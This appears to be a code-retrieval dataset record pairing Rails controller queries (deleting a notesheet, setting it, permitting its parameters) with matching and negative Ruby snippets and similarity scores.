[ "0.6522053", "0.63813996", "0.63578933", "0.6301746", "0.6291684", "0.6266091", "0.62050736", "0.6165987", "0.61568373", "0.61482704", "0.6143157", "0.61344534", "0.6128389", "0.6096458", "0.60702264", "0.604873", "0.60457677", "0.60232913", "0.6021925", "0.6021424", "0.6019907", "0.60175985", "0.60114217", "0.6010906", "0.60089934", "0.6000917", "0.59978944", "0.59978944", "0.59978944", "0.59978944", "0.59978944", "0.59978944", "0.59978944", "0.59873325", "0.597908", "0.59745467", "0.59657127", "0.59657127", "0.59556824", "0.5954587", "0.5944224", "0.5936238", "0.5930283", "0.5927836", "0.5926498", "0.5918877", "0.59160715", "0.59068775", "0.59051794", "0.59049994", "0.59049994", "0.5894455", "0.5893385", "0.5884571", "0.5882393", "0.5877092", "0.5870135", "0.5868909", "0.5868526", "0.58533853", "0.58260036", "0.5816482", "0.58106804", "0.58046454", "0.5794277", "0.57894146", "0.5786331", "0.57756084", "0.577153", "0.5769523", "0.5765409", "0.5762294", "0.57608265", "0.5755102", "0.5753391", "0.5751804", "0.5745908", "0.5740685", "0.5740042", "0.5735856", "0.5730585", "0.57259214", "0.57244974", "0.5721392", "0.5715046", "0.57147986", "0.5714249", "0.5710965", "0.5709683", "0.57064104", "0.5702912", "0.57028145", "0.5699636", "0.569916", "0.56974936", "0.5696688", "0.56895655", "0.56880087", "0.56790954", "0.5677699" ]
0.72586566
0
DELETE /notesheets/1 DELETE /notesheets/1.json
def destroy @notesheet.destroy respond_to do |format| format.html { redirect_to notesheets_url, notice: 'Notesheet was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @weekly_note.destroy\n respond_to do |format|\n format.html { redirect_to weekly_notes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @note = Note.find(params[:id])\n @note.destroy\n\n respond_to do |format|\n format.html { redirect_to(notes_url) }\n format.json { head :ok }\n end\n end", "def destroy\n @note.destroy\n\n respond_to do |format|\n format.html { redirect_to notes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @note.destroy\n respond_to do |format|\n format.html { redirect_to notes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @note.destroy\n respond_to do |format|\n format.html { redirect_to notes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @note.destroy\n respond_to do |format|\n format.html { redirect_to notes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @note.destroy\n respond_to do |format|\n format.html { redirect_to notes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @note = Note.find(params[:id])\n @note.destroy\n\n respond_to do |format|\n format.html { redirect_to noticias_notes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @note = Note.find(params[:id])\n @note.destroy\n\n respond_to do |format|\n format.html { redirect_to notes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @note = Note.find(params[:id])\n @note.destroy\n\n respond_to do |format|\n format.html { redirect_to notes_url }\n format.json { head :ok }\n end\n end", "def destroy\n @note = Note.find(params[:id])\n @note.destroy\n respond_to do |format|\n format.html { redirect_to notes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @lecture_note = LectureNote.find(params[:id])\n @lecture_note.destroy\n\n respond_to do |format|\n format.html { redirect_to lecture_notes_url }\n format.json { head :ok }\n end\n end", "def destroy\n @note1.destroy\n respond_to do |format|\n format.html { redirect_to note1s_url, notice: \"Note1 was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @notes_list.destroy\n respond_to do |format|\n format.html { redirect_to @note, notice: 'Notes list was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_note id\n @nimble.delete \"contact/notes/#{id}\"\n end", "def destroy\n @note.destroy\n respond_to do |format|\n format.html { redirect_to notes_url, notice: t('controllers.notes.destroy.success') }\n format.json { head :no_content }\n end\n end", "def destroy\n @note = Note.find(params[:id])\n @note.destroy\n\n respond_to do |format|\n format.html { redirect_to incoming_notes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @notebook_note.destroy\n respond_to do |format|\n format.html { redirect_to notebook_notes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @sticky_note = StickyNote.find(params[:id])\n @sticky_note.destroy\n\n respond_to do |format|\n format.html { redirect_to sticky_notes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @sr_note.destroy\n respond_to do |format|\n format.html { redirect_to sr_notes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ticsheet.destroy\n respond_to do |format|\n format.html { redirect_to ticsheets_url, notice: 'Ticsheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @note.destroy\n respond_to do |format|\n format.html { redirect_to notes_url, notice: 'Note successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n teacher_exclusive\n @note.delete\n respond_to do |format|\n format.html { redirect_to notes_url, notice: 'La note a été suprimée' }\n format.json { head :no_content }\n end\n end", "def destroy\n @patient_exercise = PatientExercise.find(params[:id])\n @patient_exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to patient_exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_v1_exercise.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_exercises_url, notice: 'Exercise was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @sticky_note.destroy\n respond_to do |format|\n format.html { redirect_to sticky_notes_url, notice: 'Sticky note was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @note.destroy\n respond_to do |format|\n format.html { redirect_to notes_url, notice: 'Note was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @note.destroy\n respond_to do |format|\n format.html { redirect_to notes_url, notice: 'Note was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @note.destroy\n respond_to do |format|\n format.html { redirect_to notes_url, notice: 'Note was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @note.destroy\n respond_to do |format|\n format.html { redirect_to notes_url, notice: 'Note was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @data_note = DataNote.find(params[:id])\n @data_note.destroy\n\n respond_to do |format|\n format.html { redirect_to data_sources_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @food_note.destroy\n respond_to do |format|\n format.html { redirect_to food_notes_url, notice: \"Food note was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @reminder = Reminder.find(params[:id])\n @reminder.destroy\n\n \n\n respond_to do |format|\n format.html { redirect_to reminders_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @pnote.destroy\n respond_to do |format|\n format.html { redirect_to pnotes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @note = Note.find(params[:id])\n @note.destroy\n\n respond_to do |format|\n format.html { redirect_to(notes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @note = Note.find(params[:id])\n @note.destroy\n\n respond_to do |format|\n format.html { redirect_to(notes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @oncourse_exercise.destroy\n respond_to do |format|\n format.html { redirect_to oncourse_exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @note = Note.find(params[:id])\n \n @note.destroy\n\n respond_to do |format|\n format.html { head :ok }\n format.xml { head :ok }\n end\n end", "def destroy\n @note_book.destroy\n respond_to do |format|\n format.html { redirect_to note_books_url, notice: 'Note book was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @notegood.destroy\n respond_to do |format|\n format.html { redirect_to notegoods_url, notice: 'Notegood was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @patient_note = PatientNote.find(params[:id])\n @patient_note.destroy\n get_patient_by_notes\n APP_LOGGER_LOG.info \"NOTE DELETED - for PATIENT ID \" + \n @patient[:medical_record_number].to_s + \" by USER \" + self.current_user[:login]\n \n respond_to do |format|\n format.html { redirect_to(patient_notes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @word_note = WordNote.find(params[:id])\n @word_note.destroy\n\n respond_to do |format|\n format.html { redirect_to word_notes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @note.destroy\n respond_to do |format|\n format.html { redirect_to participant_path(@participant), notice: 'Note was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @note = Note.find(params[:id])\n @note.destroy\n notice = \"#{Note.name} was successfully removed.\"\n\n respond_to do |format|\n format.html { redirect_to [@project, @item, :notes] }\n format.json { render json: {msg: notice} }\n end\n end", "def destroy\n @reminder = Reminder.find(params[:id])\n @reminder.destroy\n\n respond_to do |format|\n format.html { redirect_to reminders_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @reminder = Reminder.find(params[:id])\n @reminder.destroy\n\n respond_to do |format|\n format.html { redirect_to reminders_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @do_exercise = DoExercise.find(params[:id])\n @do_exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to do_exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @journal.destroy\n respond_to do |format|\n format.html { redirect_to journals_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @sax_note.destroy\n respond_to do |format|\n format.html { redirect_to sax_notes_url, notice: 'Sax note was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @note.destroy\n respond_to do |format|\n format.html { redirect_to game_path(@note.game_id), notice: 'Note was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n #@note = Note.find(params[:id])\n #@note.destroy\n\t\n\tif Note.destroy(params[:id])\n render :json => { :success => true }\n else \n render :json => { :success => false }\n end\n\n #respond_to do |format|\n # format.html { redirect_to(notes_url) }\n # format.xml { head :ok }\n #end\n end", "def destroy\n @note = Note.find(params[:id])\n @note.destroy\n\n respond_to do |format|\n format.html { redirect_to house_path(@note.house_id) }\n format.json { head :no_content }\n end\n end", "def destroy\n @task_note = Note.find(params[:id])\n @task_note.destroy\n\n respond_to do |format|\n format.html { redirect_to task_notes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n respond_with Note.destroy(params[:id])\n end", "def destroy\n TagMemo.delete_by_note_id(@note.id)\n @note.destroy\n respond_to do |format|\n format.html { redirect_to notes_url, notice: 'Note was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def destroy\n @exercise_set = ExerciseSet.find(params[:id])\n @exercise_set.destroy\n\n respond_to do |format|\n format.html { redirect_to exercise_sets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @history_study = HistoryStudy.find(params[:id])\n @history_study.destroy\n\n respond_to do |format|\n format.html { redirect_to history_studies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @note.destroy\n respond_to do |format|\n format.html { redirect_to curso_notes_path(params[:curso_id]), notice: 'Nota eliminada correctamente.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @note.destroy\n respond_to do |format|\n format.html do\n redirect_to event_data_path,\n notice: 'Note was successfully destroyed.'\n end\n format.json { head :no_content }\n end\n end", "def destroy\n @recinto = Recinto.find(params[:id])\n @recinto.destroy\n\n respond_to do |format|\n format.html { redirect_to recintos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @daily_exercise = DailyExercise.find(params[:id])\n @daily_exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to daily_exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @crit_note = CritNote.find(params[:id])\n @crit_note.destroy\n\n respond_to do |format|\n format.html { redirect_to(crit_notes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url, notice: 'Exercise was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url, notice: 'Exercise was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url, notice: \"Exercise was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @programme_exercise.destroy\n respond_to do |format|\n format.html { redirect_to programme_exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise_name.destroy\n respond_to do |format|\n format.html { redirect_to exercise_names_url, notice: 'Exercise name was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @note.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Note was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @note_attachment.destroy\n respond_to do |format|\n format.html { redirect_to note_attachments_url, notice: 'Note attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @progress_note.destroy\n respond_to do |format|\n format.html { redirect_to progress_notes_url, notice: 'Progress note was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n @client.delete_document(@path)\n end", "def destroy\n @questionnaire = Questionnaire.find(params[:id])\n @questionnaire.destroy\n\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionnaire = Questionnaire.find(params[:id])\n @questionnaire.destroy\n\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end", "def delete_demo(id)\n delete_record \"/demos/#{id}\"\n end", "def destroy\n @exercise_log = ExerciseLog.find(params[:id])\n @exercise_log.destroy\n\n respond_to do |format|\n format.html { redirect_to exercise_logs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @document_history = DocumentHistory.find(params[:id])\n @document_history.destroy\n\n respond_to do |format|\n format.html { redirect_to document_histories_url }\n format.json { head :no_content }\n end\n end", "def destroy\n string = \"DELETE FROM notes WHERE famille_id = #{@famille.id}\"\n connection = Demande.connection\n connection.delete(string)\n @famille.destroy\n respond_to do |format|\n format.html { redirect_to familles_url, notice: 'Famille was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @communication_note.destroy\n respond_to do |format|\n format.html { redirect_to communication_notes_url, notice: 'Communication note was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @treatment_note.destroy\n respond_to do |format|\n format.html { redirect_to treatment_notes_url, notice: 'Treatment note was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @note = @user.notes.find(params[:id])\n @note.destroy\n\n respond_to do |format|\n format.html { redirect_to(notes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @notebook = Notebook.find(params[:id])\n @notebook.destroy\n\n respond_to do |format|\n format.html { redirect_to notebooks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @notebook = Notebook.find(params[:id])\n @notebook.destroy\n\n respond_to do |format|\n format.html { redirect_to notebooks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @weekly_expectation = WeeklyExpectation.find(params[:id])\n @weekly_expectation.destroy\n\n respond_to do |format|\n format.html { redirect_to weekly_expectations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @note.destroy\n respond_to do |format|\n format.html { redirect_to course_notes_url(@note.course.slug), notice: 'Note was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @exerciseoverview.destroy\n respond_to do |format|\n format.html { redirect_to exerciseoverviews_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @relogio = Relogio.find(params[:id])\n @relogio.destroy\n\n respond_to do |format|\n format.html { redirect_to relogios_url }\n format.json { head :ok }\n end\n end", "def destroy\n @to_do_note.destroy\n respond_to do |format|\n format.html { redirect_to to_do_notes_url, notice: 'To do note was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @formulary = Formulary.find(params[:id])\n @formulary.destroy\n\n respond_to do |format|\n format.html { redirect_to formularies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @mission_sheet = MissionSheet.find(params[:id])\n @mission_sheet.destroy\n\n respond_to do |format|\n format.html { redirect_to mission_sheets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @repuestum = Repuestum.find(params[:id])\n @repuestum.destroy\n\n respond_to do |format|\n format.html { redirect_to repuesta_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @performed_exercise.destroy\n respond_to do |format|\n format.html { redirect_to performed_exercises_url, notice: 'Performed exercise was successfully destroyed.' }\n format.json { head :no_content }\n end\n end" ]
[ "0.7044337", "0.69997126", "0.69957507", "0.6964713", "0.6964713", "0.6964713", "0.6964713", "0.69637614", "0.6954986", "0.6945465", "0.6939364", "0.6925723", "0.69050974", "0.68887085", "0.68848366", "0.6881083", "0.6876354", "0.6876074", "0.6860639", "0.68410367", "0.68247724", "0.6803063", "0.67882663", "0.67666125", "0.6751265", "0.6744379", "0.6741208", "0.67152715", "0.67152715", "0.67152715", "0.67152715", "0.6710429", "0.6710365", "0.6710365", "0.6699219", "0.66970885", "0.6651978", "0.6651978", "0.6651978", "0.6651978", "0.6651593", "0.66480565", "0.6642073", "0.6642073", "0.6638394", "0.66319555", "0.66298777", "0.6624697", "0.6619071", "0.66082865", "0.6607883", "0.66030043", "0.6601949", "0.6601949", "0.66000825", "0.6593949", "0.65919673", "0.65852123", "0.65820485", "0.65723276", "0.65691763", "0.656888", "0.6567597", "0.65646", "0.6562805", "0.6561843", "0.6559791", "0.6555705", "0.6550039", "0.65490717", "0.6548427", "0.6542324", "0.6542324", "0.65389013", "0.6537396", "0.65316725", "0.6531564", "0.6525969", "0.65221024", "0.6522078", "0.65220714", "0.65220714", "0.6519657", "0.65185916", "0.6516258", "0.65129393", "0.6512887", "0.6506587", "0.6498618", "0.6497277", "0.6497277", "0.6496594", "0.64946556", "0.64934427", "0.64852977", "0.6485173", "0.6485028", "0.6484766", "0.6481311", "0.6480686" ]
0.7807703
0
Use callbacks to share common setup or constraints between actions.
def set_notesheet @notesheet = Notesheet.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def notesheet_params params.require(:notesheet).permit(:content, :title, :course_id, :user_id, :date_created, :notepic, :notepic_cache) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
